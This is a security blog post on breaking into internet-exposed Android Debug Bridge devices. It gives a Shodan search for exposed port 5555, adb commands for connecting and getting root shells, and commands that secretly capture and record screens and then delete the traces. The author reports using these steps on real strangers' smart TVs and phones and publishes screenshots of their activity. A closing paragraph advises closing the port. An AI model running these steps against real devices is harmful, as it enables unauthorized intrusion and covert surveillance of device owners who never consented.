# Getting Shell Access to ADB Exposed Smart Devices 📲📺⌚

### Introduction

ADB is being used widely by android community developers to debug android apps and perform several other tasks such as to push/pull files between android & pc, install applications, enabling/disabling verity checks, execute commands, rooting device, etc.&#x20;

I love CLI so I prefer using CLI commands over UI and ADB provides me shell access where I can run commands. It also has feature to expose TCP port allowing users to connect over LAN, but what if this local port is somehow exposed to the Internet allowing anyone to connect to the device via exposed adb port *5555* .

Since Android is an open source project, most of the companies create their custom version of android images which drive their products. There are high chances that smart device is running android or its variant, supporting ADB connection.

Can a malicious user connect to such exposed device??

### Using Shodan To Find Exposed Devices

#### Finding devices using search

```
https://www.shodan.io/search?query=%22Android+Debug+Bridge%3A%22
```

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FYDhkEDSkyPvxMLB9lSTv%2F00-Shodan-Search.png?alt=media&#x26;token=a0188020-5025-4117-9c35-2a87c7d379d6" alt=""><figcaption><p>Shodan Search</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FaOAPp6Usw8cXntEwmIiX%2F05-Historical-Trend.png?alt=media&#x26;token=94889399-46db-4558-af6e-2d9855e9ac8f" alt=""><figcaption><p>History of Devices with Exposed ADB port over the Internet</p></figcaption></figure>

There are several devices connected to the Internet with exposed ADB port. Most of these devices are misconfigured allowing anyone to connect to these devices.

### Installing ADB Tools For Connecting To A Remote Device

#### Install adb tools on debian based distro

```bash
$ sudo apt install android-tools-adb -y
```

#### Start server and connect to device

```bash
$ adb start-server

# adb connect [IP]:[PORT]
$ adb connect [TARGET_IP]:5555

# list devices
$ adb devices
List of devices attached
[redacted]:5555      device
```

{% hint style="info" %}
Some devices don't accept connection. Try another IP if you're unable to connect to the device.&#x20;
{% endhint %}

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FNX37YnDIdbzPCGA3qKdF%2F01-Getting-Shell-Access.png?alt=media&#x26;token=dd1b0d95-2ec5-4322-ab32-01a1d3eab217" alt=""><figcaption><p>Getting Shell Access to device</p></figcaption></figure>

I successfully got shell access to one of the exposed device.

Getting a shell access is one of the basic step for pivoting, attacker once gets shell access they usually try to privilege escalate the device then try to compromise other devices on the network. Attacker still can damage the system by uploading malicious/spyware application. As PoC I'll be capturing user's screen using shell access.

Let's try to find rooted devices on the Internet. Rooted devices provides complete control over the device to the attacker.

<pre class="language-bash"><code class="lang-bash"><strong># connecting to target machine
</strong><strong>$ adb connect [TARGET_IP]:5555
</strong>
# enabling root on machine
$ adb -s [TARGET_IP]:5555 root

# getting root shell access to the device
$ adb -s [TARGET_IP]:5555 shell
</code></pre>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FI1u4lZ3SEfQdSvtJpztB%2F02-adb-root-access.png?alt=media&#x26;token=4d322d8b-a4ef-4a74-b1d2-77c995e76897" alt=""><figcaption><p>Getting Root Access</p></figcaption></figure>

Got Device with Root Access:tada:

### Capturing Screenshots and Recording Screen

#### Capturing Screenshot and Storing on Attacker's machine

```bash
$ adb -s [TARGET]:5555 exec-out screencap -p > screen.png
```

{% hint style="info" %}
Image will be stored in current directory as *screen.png*
{% endhint %}

#### Capturing Screen and Pulling File on Local Machine

<pre class="language-bash"><code class="lang-bash"># capture screen for 10 seconds 
$ adb -s [device_ip]:5555 screenrecord  --time-limit 10 /sdcard/recorded.mp4

<strong># download file
</strong>$ adb -s [device_ip]:5555 pull /sdcard/recorded.mp4

# delete file
$ adb -s [device_ip]:5555 shell rm /sdcard/recorded.mp4
</code></pre>

{% hint style="info" %}
Above commands will capture screen for 10s, download file to local machine in current working directory then delete file.
{% endhint %}

#### Using Above Commands and Capturing Screenshots

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FK1Vu0McQmA8X8v8o4MkC%2F03-getting-screenshot-of-user-activity.png?alt=media&#x26;token=fa843625-8844-4a65-a7f2-6117fcc31fcc" alt=""><figcaption><p>Screenshot capturing User 's Screen</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FDgkdZdRWg9cr7M9Uw1JS%2Fscreen-0.png?alt=media&#x26;token=29976c39-a48e-4d49-82aa-166ed7322b2c" alt=""><figcaption><p>User watching TV</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2F50WPVVCZz4ApE6OBjaXe%2Fscreen-1.png?alt=media&#x26;token=89498251-311c-4ae3-9f58-f226f530185f" alt=""><figcaption><p>Captured Screenshot of User Browsing Internet</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FAuyjUcCmFjwrNuBzhLbi%2Fscreen.png?alt=media&#x26;token=e6a912cc-3336-4930-8e63-3b91a7480e33" alt=""><figcaption><p>Seems like Exposed Emulator</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FlLYwZWOkJfJlCsCrNz5Q%2Fscreen.png?alt=media&#x26;token=a2844a93-edb2-41ca-9349-3f9abbeddf52" alt=""><figcaption><p>User Playing Game on Device</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FLsaRkrzfYWvJxOutmAje%2Fscreen.png?alt=media&#x26;token=351fa2da-d882-4b79-b125-c9c214d0cdb6" alt=""><figcaption><p>User Browsing Internet</p></figcaption></figure>

Above images are captured from devices exposed to the Internet and using ADB to get access where user's are browsing web, watching shows, playing games, etc. But I encountered a ransomware infected machine asking victim for $100 to bitcoin address.

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FpKe44OGnEZGcMbhpgADI%2F04-already-compromised.png?alt=media&#x26;token=e64b9f8b-98a8-4845-9608-635cf10681ac" alt=""><figcaption><p>Encountered an Ransomware Infected Machine</p></figcaption></figure>

<figure><img src="https://2817478997-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fkw6htGm9vTsiShhRVeX3%2Fuploads%2FBe2gjwjqhyETtI06Dyro%2Fscreen.png?alt=media&#x26;token=105f9113-924c-4af7-bd26-29ad4960a1a9" alt=""><figcaption><p>Enlarged Image of Ransomware Infected device</p></figcaption></figure>

Since, ADB port is exposed to the internet anyone can connect to the device over the internet and install ransomware application.&#x20;

On searching for ***Nanoware Ransomware*** I couldn't find any traces of such ransomware over the internet. Though we cannot trust messages saying that "*SORRY I have to feed my family*", since it could be social engineering technique luring victim into paying low value ransom. But I think this attack isn't carried out by a ransomware gang but it should be an individual or it could be initial stage of the gang experimenting something.

### Conclusion

There are several devices connected to the internet with their adb exposed to the internet allowing attacker to connect, execute commands, installing applications, capturing screen, etc. Among which most of the devices included Smart TVs, Smart TV boxes, Smart phones and Smart Cameras.

Users should close their adb connection after usage. Devices with adb port open shouldn't be exposed to internet, individuals should use VPN network such as wireguard/openvpn to create a secure network and connect to the device remotely.
